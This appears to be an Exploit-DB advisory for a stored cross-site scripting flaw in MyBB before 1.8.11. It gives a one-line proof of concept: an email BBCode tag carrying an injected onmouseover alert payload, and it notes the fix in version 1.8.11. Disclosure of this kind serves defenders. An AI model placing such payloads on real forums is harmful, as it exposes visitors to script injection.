MyBB < 1.8.11 - 'email' MyCode Cross-Site Scripting

Author: Zhiyang Zeng
type: webapps
platform: php
port: 80.0
date_added: 2017-04-11 
date_updated: 2017-04-11 
verified: 1 
codes:  
tags: Cross-Site Scripting (XSS)
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.commybb_1801.zip

Description:
============

product:MyBB
Homepage:https://mybb.com/
vulnerable  version:<1.8.11
Severity:High risk

===============

Proof of Concept:
=============

1.post a thread or reply any thread ,write:

[email=2"onmouseover="alert(document.location)]hover me[/email]

then when user’s mouse hover it,XSS attack will occur!

============

Fixed:
============

This vulnerability was fixed in version 1.8.11

https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/

=============